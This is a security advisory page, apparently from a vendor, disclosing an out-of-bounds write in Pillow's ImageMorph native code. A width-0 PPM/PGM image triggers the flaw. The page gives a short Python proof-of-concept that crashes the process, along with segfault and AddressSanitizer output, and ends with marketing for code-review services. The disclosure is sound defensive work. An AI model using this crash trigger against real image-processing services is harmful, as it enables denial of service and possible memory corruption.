
Loading

Loading
We use strictly necessary cookies to run this site, and analytics cookies to understand how it's used. See our Privacy Policy for details.
A GitHub-reviewed security advisory, not necessarily under active exploitation the way our CISA KEV advisories are, but a real, disclosed vulnerability in an open-source dependency.
Affected packages
Vulnerable: <= 12.3.0
Patched in 13.0.0
Details
A PPM or PGM file can declare a width of 0, which Pillow accepts, producing an image of size (0, N). Passing that image to ImageMorph.MorphOp.apply() makes the native morphology code index a row buffer at outrow[width - 1], which is outrow[-1] when the width is 0. The process crashes.
The PPM parser reads width and height with no lower-bound check:
src/PIL/PpmImagePlugin.py:119The native apply() writes the row edges with no guard that the width is positive:
src/_imagingmorph.c:81 sets outrow[0] = outrow[width - 1] = 0;match() and get_on_pixels() use the same edge-indexing pattern.
from PIL import Image, ImageMorph
# A width-0 image (also producible from a crafted PPM header). apply() indexes
# outrow[width - 1] == outrow[-1] in native code.
im = Image.new("L", (0, 5))
ImageMorph.MorphOp(op_name="dilation4").apply(im)
Run it:
$ python 03_poc.py
Segmentation fault (core dumped)
Observed on a source build of commit 3e2ab96.
Under AddressSanitizer:
==ERROR: AddressSanitizer: SEGV on unknown address (pc ... in apply)
#0 apply src/_imagingmorph.c:81
SUMMARY: AddressSanitizer: SEGV src/_imagingmorph.c:81 in apply
With width 0 the outrow[width - 1] write lands on an unmapped page, so it surfaces as a SEGV pinned to the edge-write line rather than a redzone overflow.
Out-of-bounds write in a C extension. Affects any application that runs a morphology operation on an image opened from untrusted input. Result is a crash and possible memory corruption.
EPSS, exploit probability
Low0.44%
estimated chance of real-world exploitation in the next 30 days, higher than 36.6% of every CVE FIRST.org scores
Refreshed 10/20/2026, via FIRST.org's EPSS model, not CVSS, this measures likelihood of exploitation, not how severe it would be.
Talk to us about this
Find out whether this dependency (or others like it) is actually reachable in your codebase.
Get help patching, or building dependency-scanning into your pipeline going forward.
A secure code review or supply chain review finds this before an advisory does.